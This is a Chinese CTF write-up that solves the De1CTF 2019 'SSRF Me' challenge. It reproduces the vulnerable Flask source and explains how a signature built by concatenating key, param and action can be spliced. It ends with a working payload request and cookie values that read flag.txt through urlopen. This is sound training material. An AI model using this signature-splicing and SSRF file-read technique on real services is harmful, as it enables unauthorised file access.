[ 2021-10-01 ][BUUCTF] 集训第四天

[De1CTF 2019]SSRF Me

打开就是乱七八糟的py源码,没有工具,自己缩进,所以要提升代码审计能力,不仅是php还有py

源码

#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
 
app = Flask(__name__)
 
secert_key = os.urandom(16)
 
class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):
            os.mkdir(self.sandbox)
 
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
 
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
 
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
 
@app.route('/')
def index():
    return open("code.txt","r").read()
 
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"
 
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
 
def md5(content):
    return hashlib.md5(content).hexdigest()
 
def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=9999)

先看路由/De1ta

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

获取四个参数action(cookie),param,sign(cookie),ip(不重要)

其中param有黑名单gopher/file(def waf)

进入Task类
调用Exec方法
以json形式返回执行结果

class Task:
    def __init__(self, action, param, sign, ip)://初始化 不用管
 
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()): //检测sign签名
            if "scan" in self.action:   // mark
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action: //mark
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

三个条件

  • 首先 checkSign() => getsign() => md5()
def checkSign(self):
	if (getSign(self.action, self.param) == self.sign):
		return True
	else:
		return False

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
 
def md5(content):
    return hashlib.md5(content).hexdigest()

先跟进getSign
签名重点:

secert_key + param + action
  • action里要包含scan
  • action里要包含read

满足以上三个条件才可以触发ssrf点,也就是触发scan函数

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

urlopen(param).read()
根据hint的./flag.txt构造param=flag.txt可获取flag
回溯之前的waf对协议的过滤 但不影响直接读取flag.txt

再回到chenSign本身

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

要满足

getSign(self.action, self.param) == self.sign

有个可以获取sign的路由

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

这里action固定为scan
如果根据之前的逻辑,构造出action=readscan(包含)
这里就要构造param=flag.txtread

serect_key+"flag.txtread"+"scan"

[ 2021-10-01 ][BUUCTF] 集训第四天这一步获取关键sign

之后param=flag.txt 于是action=readscan

因为是拼接所以怎么拆分都没有关系

payload

/De1ta?param=flag.txt
cookie:action=readscan;sign=7b199007e9543c7c19abd83a9bec58c4;

cookie值抓包或者F12存储修改都可

上一篇:[ 2021-10-03 ][BUUCTF] 集训第六天


下一篇:【报告分享】2022家清个护行业发展分析报告-星图数据(附下载)